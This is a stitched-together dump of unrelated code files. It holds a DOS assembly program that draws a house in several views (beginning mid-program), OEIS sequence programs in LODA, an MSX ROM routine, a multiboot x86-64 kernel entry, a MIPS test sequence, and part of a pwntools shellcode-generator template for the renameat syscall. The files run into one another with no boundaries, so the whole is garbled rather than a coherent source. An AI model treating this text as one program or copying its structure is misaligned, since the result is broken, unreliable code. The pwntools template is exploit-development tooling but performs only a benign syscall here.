INT 21h MOV DX, 0Dh MOV AH, 2h INT 21h MOV DX,0Ah MOV AH,2h INT 21h MOV DX, offset ViewLetter MOV AH, 9 INT 21h MOV DX, 0Dh MOV AH, 2h INT 21h MOV DX,0Ah MOV AH,2h INT 21h MOV AH, 1 INT 21h MOV Choice, AL MOV AL, 'T' CMP AL, Choice JZ SHOWTOP MOV AL, 'S' CMP AL, Choice JZ SHOWSIDE MOV AL, 'F' CMP AL, Choice JZ SHOWFRONT MOV AL, 'A' CMP AL, Choice JZ SHOWALL ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; TOP VIEW ;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;; ;;;;;;; ;;;;;; ; ; ; ; ; ; ; ; ; ; ; ; ; ;;;;;; ; ; ; ; ; ; ; ; ; ;;;;;;; ; SHOWTOP: MOV AH, 0 MOV AL, 12h INT 10h MOV AL,0Eh ; Yellow ; TOPVTOP MOV DX, 190 MOV CX, 270 MOV BX, 370 TOPVTOP: MOV AH, 0Ch INT 10h INC CX CMP BX, CX JNZ TOPVTOP ; TOPVBOTTOM MOV DX, 290 MOV CX, 270 MOV BX, 370 TOPVBOTTOM: MOV AH, 0Ch INT 10h INC CX CMP BX, CX JNZ TOPVBOTTOM ; TOPVLEFT MOV DX, 190 MOV CX, 270 MOV BX, 290 TOPVLEFT: MOV AH, 0Ch INT 10h INC DX CMP BX, DX JNZ TOPVLEFT ; TOPVRIGHT MOV DX, 190 MOV CX, 370 MOV BX, 290 TOPVRIGHT: MOV AH, 0Ch INT 10h INC DX CMP BX, DX JNZ TOPVRIGHT ; TOPVMID MOV DX, 190 MOV CX, 320 MOV BX, 290 TOPVMID: MOV AH, 0Ch INT 10h INC DX CMP BX, DX JNZ TOPVMID ; TOPVBOTTOMLEFT MOV DX, 290 MOV CX, 270 MOV BX, 370 TOPVBOTTOMLEFT: MOV AH, 0Ch INT 10h DEC DX INC CX CMP BX, CX JNZ TOPVBOTTOMLEFT ; TOPVBOTTOMRIGHT MOV DX, 290 MOV CX, 370 MOV BX, 270 TOPVBOTTOMRIGHT: MOV AH, 0Ch INT 10h DEC DX DEC CX CMP BX, CX JNZ TOPVBOTTOMRIGHT ; TOPVMIDRIGHT MOV DX, 290 MOV CX, 320 MOV BX, 370 TOPVMIDRIGHT: MOV AH, 0Ch INT 10h DEC DX INC CX CMP BX, CX JNZ TOPVMIDRIGHT ; TOPVMIDLEFT MOV DX, 290 MOV CX, 320 MOV BX, 270 TOPVMIDLEFT: MOV AH, 0Ch INT 10h DEC DX DEC CX CMP BX, CX JNZ TOPVMIDLEFT ; TOPVTOPMIDRIGHT MOV DX, 190 MOV CX, 320 MOV BX, 240 TOPVTOPMIDRIGHT: MOV AH, 0Ch INT 10h INC DX INC CX CMP BX, DX JNZ TOPVTOPMIDRIGHT ; TOPVTOPMIDLEFT MOV DX, 190 MOV CX, 320 MOV BX, 270 TOPVTOPMIDLEFT: MOV AH, 0Ch INT 10h INC DX DEC CX CMP BX, CX JNZ TOPVTOPMIDLEFT ; TOPVRIGHTBOXRIGHT MOV DX, 227 MOV CX, 357 MOV BX, 252 TOPVRIGHTBOXRIGHT: MOV AH, 0Ch INT 10h INC DX CMP BX, DX JNZ TOPVRIGHTBOXRIGHT ; TOPVRIGHTBOXLEFT MOV DX, 228 MOV CX, 332 MOV BX, 252 TOPVRIGHTBOXLEFT: MOV AH, 0Ch INT 10h INC DX CMP BX, DX JNZ TOPVRIGHTBOXLEFT ; TOPVRIGHTBOXTOP MOV DX, 227 MOV CX, 333 MOV BX, 357 TOPVRIGHTBOXTOP: MOV AH, 0Ch INT 10h INC CX CMP BX, CX JNZ TOPVRIGHTBOXTOP ; TOPVRIGHTBOXBOTTOM MOV DX, 252 MOV CX, 332 MOV BX, 357 TOPVRIGHTBOXBOTTOM: MOV AH, 0Ch INT 10h INC CX CMP BX, CX JNZ TOPVRIGHTBOXBOTTOM ; TOPVLEFTBOXRIGHT MOV DX, 227 MOV CX, 307 MOV BX, 252 TOPVLEFTBOXRIGHT: MOV AH, 0Ch INT 10h INC DX CMP BX, DX JNZ TOPVLEFTBOXRIGHT ; TOPVLEFTBOXLEFT MOV DX, 228 MOV CX, 282 MOV BX, 252 TOPVLEFTBOXLEFT: MOV AH, 0Ch INT 10h INC DX CMP BX, DX JNZ TOPVLEFTBOXLEFT ; TOPVLEFTBOXTOP MOV DX, 228 MOV CX, 283 MOV BX, 307 TOPVLEFTBOXTOP: MOV AH, 0Ch INT 10h INC CX CMP BX, CX JNZ TOPVLEFTBOXTOP ; TOPVLEFTBOXBOTTOM MOV DX, 252 MOV CX, 282 MOV BX, 307 TOPVLEFTBOXBOTTOM: MOV AH, 0Ch INT 10h INC CX CMP BX, CX JNZ TOPVLEFTBOXBOTTOM RET ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; SIDE VIEW ;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;; ; ;;;;; ;;;;;; ; ; ; ; ; ;;;; ; ; ; ;;;;; ; ; ; ; ; ; ; ; ; ; ; ;;;; ; ;;;;; ;;;;;; SHOWSIDE: MOV AL, 12H MOV AH, 00H INT 10H MOV AL, 0EH ; Yellow ; SIDEVBOTTOM MOV AH, 0CH MOV CX, 270 MOV DX, 290 SIDEVBOTTOM: INT 10H INC CX CMP CX, 370 JNZ SIDEVBOTTOM ; SIDEVRIGHT MOV AH, 0CH MOV CX, 370 MOV DX, 290 SIDEVRIGHT: INT 10H DEC DX CMP DX, 190 JNZ SIDEVRIGHT ; SIDEVTOP MOV AH, 0CH MOV CX, 370 MOV DX, 190 SIDEVTOP: INT 10H DEC CX CMP CX, 270 JNZ SIDEVTOP ;SIDEVLEFT MOV AH, 0CH MOV CX, 270 MOV DX, 190 SIDEVLEFT: INT 10H INC DX CMP DX, 290 JNZ SIDEVLEFT ; SIDEVMID MOV AH, 0CH MOV CX, 270 MOV DX, 240 SIDEVMID: INT 10H INC CX CMP CX, 370 JNZ SIDEVMID ; SIDEVTOPLEFT MOV AH, 0CH MOV CX, 270 MOV DX, 190 SIDEVTOPLEFT: INT 10H INC CX INT 10H INC DX CMP DX, 240 JNZ SIDEVTOPLEFT ; SIDEVMIDRIGHT MOV AH, 0CH MOV CX, 320 MOV DX, 240 SIDEVMIDRIGHT: INT 10H INC CX INT 10H DEC DX CMP DX, 190 JNZ SIDEVMIDRIGHT ; SIDEVBOTTOMRIGHT MOV AH, 0CH MOV CX, 370 MOV DX, 240 SIDEVBOTTOMRIGHT: INT 10H DEC CX INT 10H DEC DX CMP DX, 190 JNZ SIDEVBOTTOMRIGHT ; SIDEVBOTTOMLEFT MOV AH, 0CH MOV CX, 270 MOV DX, 240 SIDEVBOTTOMLEFT: INT 10H INC CX INT 10H DEC DX CMP DX, 190 JNZ SIDEVBOTTOMLEFT ; SIDVESQUARETOP MOV AH, 0CH MOV CX, 307 MOV DX, 203 SIDVESQUARETOP: INT 10H INC CX CMP CX, 333 JNZ SIDVESQUARETOP ; SIDVESQUARERIGHT MOV AH, 0CH MOV CX, 333 MOV DX, 203 SIDVESQUARERIGHT: INT 10H INC DX CMP DX, 227 JNZ SIDVESQUARERIGHT ; SIDVESQUAREBOTTOM MOV AH, 0CH MOV CX, 333 MOV DX, 227 SIDVESQUAREBOTTOM: INT 10H DEC CX CMP CX, 307 JNZ SIDVESQUAREBOTTOM ; SIDVESQUARELEFT MOV AH, 0CH MOV CX, 307 MOV DX, 227 SIDVESQUARELEFT: INT 10H DEC DX CMP DX, 203 JNZ SIDVESQUARELEFT RET ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; FRONT VIEW ;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;; ;;;;; ;;;; ; ; ;;;;; ; ; ; ; ; ;; ; ; ;;;;; ; ; ; ; ; ; ; ; ; ;;;;; ; ; ; ; ; ; ; ; ; ; ; ; ;; ; ; ; ; ;;;; ; ; ; SHOWFRONT: MOV AH, 0 MOV AL, 12h INT 10h MOV AL,0Eh ; Yellow ; FRONTVTOPLEFT MOV DX, 190 MOV CX, 320 MOV BX, 240 FRONTVTOPLEFT: MOV AH, 0Ch INT 10h INC DX DEC CX CMP BX, DX JNZ FRONTVTOPLEFT ; FRONTVTOPRIGHT MOV DX, 190 MOV CX, 320 MOV BX, 240 FRONTVTOPRIGHT: MOV AH, 0Ch INT 10h INC DX INC CX CMP BX, DX JNZ FRONTVTOPRIGHT ; FRONTVLEFT MOV DX, 240 MOV CX, 270 MOV BX, 290 FRONTVLEFT: MOV AH, 0Ch INT 10h INC DX CMP BX, DX JNZ FRONTVLEFT ; FRONTVRIGHT MOV DX, 240 MOV CX, 370 MOV BX, 290 FRONTVRIGHT: MOV AH, 0Ch INT 10h INC DX CMP BX, DX JNZ FRONTVRIGHT ; FRONTVBOTTOM MOV DX, 290 MOV CX, 270 MOV BX, 370 FRONTVBOTTOM: MOV AH, 0Ch INT 10h INC CX CMP BX, CX JNZ FRONTVBOTTOM ; FRONTVINNERSQUARELEFT MOV DX, 247 MOV CX, 277 MOV BX, 283 FRONTVINNERSQUARELEFT: MOV AH, 0Ch INT 10h INC DX CMP BX, DX JNZ FRONTVINNERSQUARELEFT ; FRONTVINNERSQAURERIGHT MOV DX, 247 MOV CX, 313 MOV BX, 283 FRONTVINNERSQAURERIGHT: MOV AH, 0Ch INT 10h INC DX CMP BX, DX JNZ FRONTVINNERSQAURERIGHT ; FRONTVINNERSQUARETOP MOV DX, 247 MOV CX, 277 MOV BX, 313 FRONTVINNERSQUARETOP: MOV AH, 0Ch INT 10h INC CX CMP BX, CX JNZ FRONTVINNERSQUARETOP ; FRONTVINNERSQUAREBOTTOM MOV DX, 283 MOV CX, 277 MOV BX, 313 FRONTVINNERSQUAREBOTTOM: MOV AH, 0Ch INT 10h INC CX CMP BX, CX JNZ FRONTVINNERSQUAREBOTTOM ; FRONTVDOORLEFT MOV DX, 240 MOV CX, 335 MOV BX, 290 FRONTVDOORLEFT: MOV AH, 0Ch INT 10h INC DX CMP BX, DX JNZ FRONTVDOORLEFT ; FRONTVDOORRIGHT MOV DX, 240 MOV CX, 355 MOV BX, 290 FRONTVDOORRIGHT: MOV AH, 0Ch INT 10h INC DX CMP BX, DX JNZ FRONTVDOORRIGHT ; FRONTVDOORTOP MOV DX, 240 MOV CX, 335 MOV BX, 355 FRONTVDOORTOP: MOV AH, 0Ch INT 10h INC CX CMP BX, CX JNZ FRONTVDOORTOP ; FRONTVSQUARETOPLEFT MOV DX, 240 MOV CX, 295 MOV BX, 265 FRONTVSQUARETOPLEFT: MOV AH, 0Ch INT 10h INC DX DEC CX CMP BX, DX JNZ FRONTVSQUARETOPLEFT ; FRONTVSQUARETOPRIGHT MOV DX, 240 MOV CX, 295 MOV BX, 265 FRONTVSQUARETOPRIGHT: MOV AH, 0Ch INT 10h INC DX INC CX CMP BX, DX JNZ FRONTVSQUARETOPRIGHT ; FRONTVSQUAREBOTTOMRIGHT MOV DX, 290 MOV CX, 295 MOV BX, 265 FRONTVSQUAREBOTTOMRIGHT: MOV AH, 0Ch INT 10h DEC DX INC CX CMP BX, DX JNZ FRONTVSQUAREBOTTOMRIGHT ; FRONTVSQUAREBOTTOMLEFT MOV DX, 290 MOV CX, 295 MOV BX, 265 FRONTVSQUAREBOTTOMLEFT: MOV AH, 0Ch INT 10h DEC DX DEC CX CMP BX, DX JNZ FRONTVSQUAREBOTTOMLEFT RET ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; FULL VIEW ;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;; ; ; ; ; ; ; ; ; ; ;;;;; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;;;; ;;;;;; ;;;;;; SHOWALL: MOV AL,12H MOV AH,00H INT 10H MOV AL,0Eh ; Yellow ; FULLVFRONTTOPLEFT MOV AH,0CH MOV CX,270 MOV DX,240 FULLVFRONTTOPLEFT: INT 10H INC CX INT 10H DEC DX CMP CX,320 JNZ FULLVFRONTTOPLEFT ; FULLVFRONTTOPRIGHT MOV AH,0CH MOV CX,320 MOV DX,190 FULLVFRONTTOPRIGHT: INT 10H INC CX INT 10H INC DX CMP CX,370 JNZ FULLVFRONTTOPRIGHT ; FULLVFRONTRIGHT MOV AH,0CH MOV CX,370 MOV DX,240 FULLVFRONTRIGHT: INT 10H INC DX CMP DX,290 JNZ FULLVFRONTRIGHT ; FULLVFRONTBOTTOM MOV AH,0CH MOV CX,370 MOV DX,290 FULLVFRONTBOTTOM: INT 10H DEC CX CMP CX,270 JNZ FULLVFRONTBOTTOM ; FULLVFRONTLEFT MOV AH,0CH MOV CX,270 MOV DX,290 FULLVFRONTLEFT: INT 10H DEC DX CMP DX,240 JNZ FULLVFRONTLEFT ; FULLVDOORTOP MOV AH,0CH MOV CX,335 MOV DX,240 FULLVDOORTOP: INT 10H INC CX CMP CX,355 JNZ FULLVDOORTOP ; FULLVDOORRIGHT MOV AH,0CH MOV CX,355 MOV DX,240 FULLVDOORRIGHT: INT 10H INC DX CMP DX,290 JNZ FULLVDOORRIGHT ; FULLVDOORLEFT MOV AH,0CH MOV CX,335 MOV DX,240 FULLVDOORLEFT: INT 10H INC DX CMP DX,290 JNZ FULLVDOORLEFT ; FULLVSQUARETOPLEFT MOV AH,0CH MOV CX,270 MOV DX,265 FULLVSQUARETOPLEFT: INT 10H INC CX INT 10H DEC DX CMP CX,295 JNZ FULLVSQUARETOPLEFT ; FULLVSQUARETOPRIGHT MOV AH,0CH MOV CX,295 MOV DX,240 FULLVSQUARETOPRIGHT: INT 10H INC CX INT 10H INC DX CMP CX,320 JNZ FULLVSQUARETOPRIGHT ; FULLVSQUAREBOTTOMRIGHT MOV AH,0CH MOV CX,320 MOV DX,265 FULLVSQUAREBOTTOMRIGHT: INT 10H DEC CX INT 10H INC DX CMP CX,295 JNZ FULLVSQUAREBOTTOMRIGHT ; FULLVSQUAREBOTTOMLEFT MOV AH,0CH MOV CX,295 MOV DX,290 FULLVSQUAREBOTTOMLEFT: INT 10H DEC CX INT 10H DEC DX CMP CX,270 JNZ FULLVSQUAREBOTTOMLEFT ; FULLVINNERSQUARETOP MOV AH,0CH MOV CX,277 MOV DX,247 FULLVINNERSQUARETOP: INT 10H INC CX CMP CX,313 JNZ FULLVINNERSQUARETOP ; FULLVINNERQUARERIGHT MOV AH,0CH MOV CX,313 MOV DX,247 FULLVINNERQUARERIGHT: INT 10H INC DX CMP DX,282 JNZ FULLVINNERQUARERIGHT ; FULLVINNERSQUAREBOTTOM MOV AH,0CH MOV CX,313 MOV DX,282 FULLVINNERSQUAREBOTTOM: INT 10H DEC CX CMP CX,277 JNZ FULLVINNERSQUAREBOTTOM ; FULLVINNERSQUARELEFT MOV AH,0CH MOV CX,277 MOV DX,282 FULLVINNERSQUARELEFT: INT 10H DEC DX CMP DX,247 JNZ FULLVINNERSQUARELEFT ; FULLVSIDETOP MOV AH,0CH MOV CX,320 MOV DX,190 FULLVSIDETOP: INT 10H INC CX INT 10H INC CX INT 10H DEC DX CMP DX,145 JNZ FULLVSIDETOP ; FULLVSIDEABOVERIGHT MOV AH,0CH MOV CX,409 MOV DX,145 FULLVSIDEABOVERIGHT: INT 10H INC CX INT 10H INC DX CMP CX,459 JNZ FULLVSIDEABOVERIGHT ; FULLVSIDEMID MOV AH,0CH MOV CX,459 MOV DX,195 FULLVSIDEMID: INT 10H DEC CX INT 10H DEC CX INT 10H INC DX CMP DX,240 JNZ FULLVSIDEMID ; FULLVSIDEBELOWRIGHT MOV AH,0CH MOV CX,459 MOV DX,195 FULLVSIDEBELOWRIGHT: INT 10H INC DX CMP DX,245 JNZ FULLVSIDEBELOWRIGHT ; FULLVSIDEBOTTOM MOV AH,0CH MOV CX,459 MOV DX,245 FULLVSIDEBOTTOM: INT 10H DEC CX INT 10H DEC CX INT 10H INC DX CMP DX,290 JNZ FULLVSIDEBOTTOM ;;; ABOVE LINES ; FULLVSIDETOPLEFT MOV AH,0CH MOV CX,320 MOV DX,190 FULLVSIDETOPLEFT: INT 10H INC CX INT 10H INC CX INT 10H INC CX INT 10H INC DX CMP DX,220 JNZ FULLVSIDETOPLEFT ; FULLVSIDETOPRIGHT MOV AH,0CH MOV CX,409 MOV DX,145 FULLVSIDETOPRIGHT: INT 10H INT 10H INC DX CMP CX,401 CMP DX,220 JNZ FULLVSIDETOPRIGHT ; FULLVSIDEBOTTOMRIGHT MOV AH,0CH MOV CX,459 MOV DX,195 FULLVSIDEBOTTOMRIGHT: INT 10H DEC DX INT 10H DEC CX INT 10H DEC CX INT 10H DEC CX INT 10H CMP DX,166 JNZ FULLVSIDEBOTTOMRIGHT ; FULLVSIDEBOTTOMLEFT MOV AH,0CH MOV CX,371 MOV DX,165 FULLVSIDEBOTTOMLEFT: INT 10H INT 10H INC DX CMP DX,240 JNZ FULLVSIDEBOTTOMLEFT RET END
; A253712: Second partial sums of 12th powers (A008456). ; 1,4098,539636,17852390,279305769,2717541484,18997064400,103996064052,471424600185,1838853136318,6344710049172,19766667410282,56486709893873,149900664752760,373060957502272,877696226962440,1964953733652369,4209042621768474,8666446428950740,17219850236133006,33129081554701913,61893315504320036 add $0,1 lpb $0,1 mov $2,$0 cal $2,123094 ; Sum of first n 12th powers. sub $0,1 add $1,$2 lpe
; A132741: Largest divisor of n having the form 2^i*5^j. ; 1,2,1,4,5,2,1,8,1,10,1,4,1,2,5,16,1,2,1,20,1,2,1,8,25,2,1,4,1,10,1,32,1,2,5,4,1,2,1,40,1,2,1,4,5,2,1,16,1,50,1,4,1,2,5,8,1,2,1,20,1,2,1,64,5,2,1,4,1,10,1,8,1,2,25,4,1,2,1,80,1,2,1,4,5,2,1,8,1,10,1,4,1,2,5,32,1,2,1,100 add $0,1 mov $1,102400000 gcd $1,$0 mov $0,$1
; A155794: Triangle read by rows: t(n,m)=(m*(m-n))! ; 1,1,1,1,1,1,1,2,2,1,1,6,24,6,1,1,24,720,720,24,1,1,120,40320,362880,40320,120,1,1,720,3628800,479001600,479001600,3628800,720,1,1,5040,479001600,1307674368000,20922789888000,1307674368000,479001600,5040,1 mov $2,$0 mov $3,$0 lpb $2 seq $0,4247 ; Multiplication table read by antidiagonals: T(i,j) = ij (i>=0, j>=0). sub $2,$3 lpe seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters).
; A183091: a(n) is the product of the divisors p^k of n where p is prime and k >= 1. ; Submitted by Christian Krause ; 1,2,3,8,5,6,7,64,27,10,11,24,13,14,15,1024,17,54,19,40,21,22,23,192,125,26,729,56,29,30,31,32768,33,34,35,216,37,38,39,320,41,42,43,88,135,46,47,3072,343,250,51,104,53,1458,55,448,57,58,59,120,61,62,189,2097152,65,66,67,136,69,70,71,1728,73,74,375,152,77,78,79,5120,59049,82,83,168,85,86,87,704,89,270,91,184,93,94,95,98304,97,686,297,1000 add $0,1 mov $7,$0 lpb $0 mov $3,$0 lpb $3 mov $4,$0 mov $6,$2 cmp $6,0 add $2,$6 mod $4,$2 cmp $4,0 cmp $4,0 mov $5,$2 add $2,1 cmp $5,1 max $4,$5 sub $3,$4 lpe mov $5,1 lpb $0 dif $0,$2 mul $7,$5 mul $5,$2 lpe lpe mov $0,$7
; ; MSX specific routines ; by Stefano Bodrato, December 2007 ; ; Internal function, call a ROM BASIC subroutine ; ; ; $Id: msxbasic.asm,v 1.4 2016-06-16 19:30:25 dom Exp $ ; SECTION code_clib PUBLIC msxbasic PUBLIC _msxbasic EXTERN msxrompage INCLUDE "msxbios.def" msxbasic: _msxbasic: exx ex af,af' ; store all registers ld hl,CALBAS jp msxrompage
frame 5, 06 frame 0, 06 frame 5, 06 frame 0, 06 frame 5, 06 endanim
; This is the kernel's entry point. We could either call main here, ; or we can use this to setup the stack or other nice stuff, like ; perhaps setting up the GDT and segments. Please note that interrupts ; are disabled at this point: More on interrupts later! [BITS 32] %define BOOT_STACK_SIZE 4096 extern kernel_start ; defined in linker script extern kernel_end ; We use a special name to map this section at the begin of our kernel ; => Multiboot expects its magic number at the beginning of the kernel. SECTION .mboot ; This part MUST be 4 byte aligned, so we solve that issue using 'ALIGN 4'. ALIGN 4 mboot: ; Multiboot macros to make a few lines more readable later MULTIBOOT_PAGE_ALIGN equ (1 << 0) MULTIBOOT_MEMORY_INFO equ (1 << 1) MULTIBOOT_HEADER_MAGIC equ 0x1BADB002 MULTIBOOT_HEADER_FLAGS equ MULTIBOOT_PAGE_ALIGN | MULTIBOOT_MEMORY_INFO MULTIBOOT_CHECKSUM equ -(MULTIBOOT_HEADER_MAGIC + MULTIBOOT_HEADER_FLAGS) ; This is the GRUB Multiboot header. A boot signature dd MULTIBOOT_HEADER_MAGIC dd MULTIBOOT_HEADER_FLAGS dd MULTIBOOT_CHECKSUM dd 0, 0, 0, 0, 0 ; address fields ALIGN 4 ; we need already a valid GDT to switch in the 64bit modus GDT64: ; Global Descriptor Table (64-bit). .Null: equ $ - GDT64 ; The null descriptor. dw 0 ; Limit (low). dw 0 ; Base (low). db 0 ; Base (middle) db 0 ; Access. db 0 ; Granularity. db 0 ; Base (high). .Code: equ $ - GDT64 ; The code descriptor. dw 0 ; Limit (low). dw 0 ; Base (low). db 0 ; Base (middle) db 10011010b ; Access. db 00100000b ; Granularity. db 0 ; Base (high). .Data: equ $ - GDT64 ; The data descriptor. dw 0 ; Limit (low). dw 0 ; Base (low). db 0 ; Base (middle) db 10010010b ; Access. db 00000000b ; Granularity. db 0 ; Base (high). .Pointer: ; The GDT-pointer. dw $ - GDT64 - 1 ; Limit. dq GDT64 ; Base. SECTION .text ALIGN 4 global _start _start: cli ; avoid any interrupt ; Initialize stack pointer mov esp, boot_stack add esp, BOOT_STACK_SIZE - 16 ; Interpret multiboot information mov DWORD [mb_info], ebx ; This will set up the x86 control registers: ; Caching and the floating point unit are enabled ; Bootstrap page tables are loaded and page size ; extensions (huge pages) enabled. cpu_init: ; initialize page tables ; map kernel 1:1 push edi push ebx push ecx mov ecx, kernel_start mov ebx, kernel_end add ebx, 0x1000 L0: cmp ecx, ebx jae L1 mov eax, ecx and eax, 0xFFFFF000 ; page align lower half mov edi, eax shr edi, 9 ; (edi >> 12) * 8 (index for boot_pgt) add edi, boot_pgt1 or eax, 0x3 ; set present and writable bits mov DWORD [edi], eax add ecx, 0x1000 jmp L0 L1: pop ecx pop ebx pop edi ; check for long mode ; do we have the instruction cpuid? pushfd pop eax mov ecx, eax xor eax, 1 << 21 push eax popfd pushfd pop eax push ecx popfd xor eax, ecx jz Linvalid ; cpuid > 0x80000000? mov eax, 0x80000000 cpuid cmp eax, 0x80000001 jb Linvalid ; It is less, there is no long mode. ; do we have a long mode? mov eax, 0x80000001 cpuid test edx, 1 << 29 ; Test if the LM-bit, which is bit 29, is set in the D-register. jz Linvalid ; They aren't, there is no long mode. ; Set CR3 mov eax, boot_pml4 ;or eax, (1 << 0) ; set present bit mov cr3, eax ; we need to enable PAE modus mov eax, cr4 or eax, 1 << 5 mov cr4, eax ; switch to the compatibility mode (which is part of long mode) mov ecx, 0xC0000080 rdmsr or eax, 1 << 8 wrmsr ; Set CR4 mov eax, cr4 and eax, 0xfffbf9ff ; disable SSE ;or eax, (1 << 7) ; enable PGE mov cr4, eax ; Set CR0 (PM-bit is already set) mov eax, cr0 and eax, ~(1 << 2) ; disable FPU emulation or eax, (1 << 1) ; enable FPU montitoring and eax, ~(1 << 30) ; enable caching and eax, ~(1 << 29) ; disable write through caching and eax, ~(1 << 16) ; allow kernel write access to read-only pages or eax, (1 << 31) ; enable paging mov cr0, eax lgdt [GDT64.Pointer] ; Load the 64-bit global descriptor table. jmp GDT64.Code:start64 ; Set the code segment and enter 64-bit long mode. ; there is no long mode Linvalid: jmp $ [BITS 64] start64: ; initialize segment registers mov ax, GDT64.Data mov ds, ax mov es, ax mov ss, ax xor ax, ax mov fs, ax mov gs, ax cld ; set default stack pointer mov rsp, boot_stack add rsp, BOOT_STACK_SIZE-16 ; jump to the boot processors's C code extern loader_main jmp loader_main jmp $ SECTION .data global mb_info: ALIGN 8 mb_info: DQ 0 ALIGN 4096 global boot_stack boot_stack: TIMES (BOOT_STACK_SIZE) DB 0xcd ; Bootstrap page tables are used during the initialization. ALIGN 4096 boot_pml4: DQ boot_pdpt + 0x3 ; PG_PRESENT | PG_RW times 510 DQ 0 ; PAGE_MAP_ENTRIES - 2 DQ boot_pml4 + 0x3 ; PG_PRESENT | PG_RW boot_pdpt: DQ boot_pgd + 0x3 ; PG_PRESENT | PG_RW times 511 DQ 0 ; PAGE_MAP_ENTRIES - 1 boot_pgd: DQ boot_pgt1 + 0x3 ; PG_PRESENT | PG_RW DQ boot_pgt2 + 0x3 ; PG_PRESENT | PG_RW times 510 DQ 0 ; PAGE_MAP_ENTRIES - 1 boot_pgt1: times 512 DQ 0 boot_pgt2: times 512 DQ 0 ; add some hints to the ELF file SECTION .note.GNU-stack noalloc noexec nowrite progbits
bits 64 global gdtLoad ; load the gdt gdtLoad: lgdt [rdi] ; load gdt from the first argument mov ax, (8*2) ; 2nd segment, kernel data mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax pop rdi mov rax, (8*1) ; 1st segment, kernel code push rax push rdi retfq
; A306752: a(n) = Sum_{k=0..n} binomial(k, 8*(n-k)). ; 1,1,1,1,1,1,1,1,1,2,10,46,166,496,1288,3004,6436,12871,24312,43776,75736,126940,208336,340120,564928,980629,1817047,3605252,7531836,16146326,34716826,73737316,153430156,311652271,617594122,1195477615,2266064352,4221317464,7763706592,14176362408,25864024384,47458155673,88091251237,166062959479,318316115251,619406846462,1218874233974,2413678711066,4786554751154,9466987416839,18618980499028,36347875226110,70384541482648,135223579592299,258011577566136,489700342951520,926393707127736 lpb $0 sub $0,1 add $2,8 mov $3,$0 bin $3,$2 add $1,$3 lpe add $1,1 mov $0,$1
; A077860: Expansion of 1/((1 - 2*x + 2*x^2)*(1-x)). ; 1,3,5,5,1,-7,-15,-15,1,33,65,65,1,-127,-255,-255,1,513,1025,1025,1,-2047,-4095,-4095,1,8193,16385,16385,1,-32767,-65535,-65535,1,131073,262145,262145,1,-524287,-1048575,-1048575,1,2097153,4194305,4194305,1,-8388607,-16777215,-16777215 mov $2,2 lpb $0,1 sub $0,1 add $2,$1 add $1,4 mul $1,2 sub $1,$2 lpe div $1,6 mul $1,2 add $1,1
lui $2,0xffff ori $2,$2,0xfffe blez $2,target ori $2,$0,2119 xori $3,$2,2395 andi $3,$3,4937 addiu $4,$3,7887 target: blez $2,target1 addi $3,$2,293 ori $3,$0,2039 target1: blez $0,target2 add $4,$4,2345 ori $4,$0,9392 target2: sub $6,$4,$3 lui $4,0xffff ori $3,$0,0xfffe ori $2,$0,4 or $5,$0,$2 or $2,$3,$4 sw $2,0($5) lw $6,4($0) blez $6,target3 ori $3,$0,2582 ori $4,$0,8378 ori $2,$0,4526 nor $6,$3,$4 nor $5,$2,$3 xor $7,$3,$6 xor $8,$3,$2 target3: blez $8,target4 and $3,$3,$4 and $4,$7,$8 target4:
<% import collections import pwnlib.abi import pwnlib.constants import pwnlib.shellcraft import six %> <%docstring>renameat(oldfd, old, newfd, new) -> str Invokes the syscall renameat. See 'man 2 renameat' for more information. Arguments: oldfd(int): oldfd old(char*): old newfd(int): newfd new(char*): new Returns: int </%docstring> <%page args="oldfd=0, old=0, newfd=0, new=0"/> <% abi = pwnlib.abi.ABI.syscall() stack = abi.stack regs = abi.register_arguments[1:] allregs = pwnlib.shellcraft.registers.current() can_pushstr = ['old', 'new'] can_pushstr_array = [] argument_names = ['oldfd', 'old', 'newfd', 'new'] argument_values = [oldfd, old, newfd, new] # Load all of the arguments into their destination registers / stack slots. register_arguments = dict() stack_arguments = collections.OrderedDict() string_arguments = dict() dict_arguments = dict() array_arguments = dict() syscall_repr = [] for name, arg in zip(argument_names, argument_values): if arg is not None: syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False))) # If the argument itself (input) is a register... if arg in allregs: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[index] = arg # The argument is not a register. It is a string value, and we # are expecting a string value elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)): if isinstance(arg, six.text_type): arg = arg.encode('utf-8') string_arguments[name] = arg # The argument is not a register. It is a dictionary, and we are # expecting K:V paris. elif name in can_pushstr_array and isinstance(arg, dict): array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()] # The arguent is not a register. It is a list, and we are expecting # a list of arguments. elif name in can_pushstr_array and isinstance(arg, (list, tuple)): array_arguments[name] = arg # The argument is not a register, string, dict, or list. # It could be a constant string ('O_RDONLY') for an integer argument, # an actual integer value, or a constant. else: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[target] = arg # Some syscalls have different names on various architectures. # Determine which syscall number to use for the current architecture. for syscall in ['SYS_renameat']: if hasattr(pwnlib.constants, syscall): break else: raise Exception("Could not locate any syscalls: %r" % syscalls) %> /* renameat(${', '.join(syscall_repr)}) */ 